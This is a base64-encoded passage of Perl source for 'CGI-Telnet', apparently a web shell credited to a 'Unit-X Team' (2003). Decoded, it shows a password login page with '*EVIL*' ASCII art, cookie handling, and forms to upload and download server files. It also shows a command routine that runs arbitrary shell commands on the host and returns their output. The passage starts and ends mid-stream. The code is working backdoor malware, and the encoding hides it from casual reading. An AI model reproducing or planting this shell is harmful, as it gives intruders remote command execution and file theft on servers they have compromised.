IGJnY29sb3I9IiNDMkJGQTUiIGJvcmRlcmNvbG9yPSIjMDAwMDgwIiBhbGlnbj0iY2VudGVyIj4NCjxiPjxmb250IGNvbG9yPSIjMDAwMDgwIiBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjMDA5OTAwIj48Yj5DR0ktVGVsbmV0IFVuaXQteCBUZWFtIENvbm5lY3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYmdjb2xvcj0iI0MyQkZBNSI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8DQo8YSBocmVmPSJVTklUWF9URUFNQEhPVE1BSUwuQ09NIj5IZWxwPC9hPg0KPC9mb250PjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjZmYwMDAwIj4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8NCi8gIF9fIFx8ICBfXyBcfF8gICBffCAgICAgICAgfF8gICBffCAgICAgIHwgfCAgICAgICAgICAgICB8IHwNCnwgLyAgXC98IHwgIFwvICB8IHwgICBfX19fX18gICB8IHwgICAgX19fIHwgfCBfIF9fICAgIF9fXyB8IHxfDQp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wNCnwgXF9fL1x8IHxfXCBcIF98IHxfICAgICAgICAgICB8IHwgIHwgIF9fL3wgfHwgfCB8IHx8ICBfXy98IHxfDQogXF9fX18vIFxfX19fLyBcX19fLyAgICAgICAgICAgXF8vICAgXF9fX3x8X3x8X3wgfF98IFxfX198IFxfX3wgMS4wDQoNCjwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+ICAgICAgICAgICAgICAgICAgICAgIF9fX19fXyAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQgY29sb3I9IiNBRTgzMDAiPqkgMjAwMywgVW5pdC1YIFRlYW08L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPg0KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4NCiAgICAgICAgICAgICAgICAgIC8gICBVTklULVggICBcDQogICAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgIHwNCiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfA0KICAgICAgICAgICAgICAgICB8ICkoX28vICBcb18pKCB8DQogICAgICAgICAgICAgICAgIHwvICAgICAvXCAgICAgXHwNCiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQ0KICBfICAgICApIFw8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlw8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58KkVWSUwqfDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPi88L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX19fX19fX19fX19fX19fX19fDQo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAoXyk8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPkA4QDg8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnt9PC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj4mbHQ7X19fX19fX188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnwtXE1BU1RFUi8tfDwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+X19fX19fX19fX19fX19fX19fX19fX19fJmd0OzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+DQogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvDQogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWANCiAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQgY29sb3I9IiNBRTgzMDAiPlcgQSBSIE4gSSBOIEc6IFByaXZhdGUgU2VydmVyPC9mb250PjwvcHJlPg0KJDsNCiMnDQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4NCkNvbm5lY3RlZCB0byAkU2VydmVyTmFtZTxicj4NCkVzY2FwZSBjaGFyYWN0ZXIgaXMgXl0NCjxjb2RlPiRNZXNzYWdlDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UNCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGJyPmxvZ2luOiBhZG1pbjxicj4NCnBhc3N3b3JkOjxicj4NCkxvZ2luIGluY29ycmVjdDxicj48YnI+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5Gb3JtDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCmxvZ2luOiBhZG1pbjxicj4NCnBhc3N3b3JkOjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPC9mb250PjwvYm9keT48L2h0bWw+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9nb3V0U2NyZWVuDQp7DQoJcHJpbnQgIjxjb2RlPkNvbm5lY3Rpb24gY2xvc2VkIGJ5IGZvcmVpZ24gaG9zdC48YnI+PGJyPjwvY29kZT4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0KIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4NCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQokUHJvbXB0IHVwbG9hZDxicj48YnI+DQpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcHJpbnQgPDxFTkQ7DQo8L3htcD4NCjxjb2RlPg0KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLg0KPGJyPktpbGxlZCBpdCENCjxjb2RlPg0KRU5EDQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQ0KIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQ0KIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluDQojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUNCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMNCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRXhlY3V0ZUNvbW1hbmQNCnsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KDQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsNCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KCQlwcmludCAiPGNvZGU+JFByb21wdCAkUnVuQ29tbWFuZDwvY29kZT4iOw0KCX0NCgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPjx4bXA+IjsNCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KCQlpZighJFdpbk5UKQ0KCQl7DQoJCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOw0KCQl9DQoJCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQNCgkJew0KCQkJJHw9MTsNCgkJCSRDb21tYW5kIC49ICIgfCI7DQoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsNCgkJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJCXsNCgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsNCgkJCQlwcmludCAiJF9cbiI7DQoJCQl9DQoJCQkkfD0wOw0KCQl9DQoJCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0KCQl7DQoJCQlwcmludCBgJENvbW1hbmRgOw0KCQl9DQoJCWlmKCEkV2luTlQpDQoJCXsNCgkJCWFsYXJtKDApOw0KCQl9DQoJCXByaW50ICI8L3htcD4iOw0KCX0NCgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkmUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyDQojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaA0KIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5Lg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQ0Kew0KCWxvY2FsKCRGaWxlVXJsKSA9IEBfOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQlwcmludCA8PEVORDsNCjxjb2RlPg0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KPC9jb2RlPg0KRU5EDQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2Vud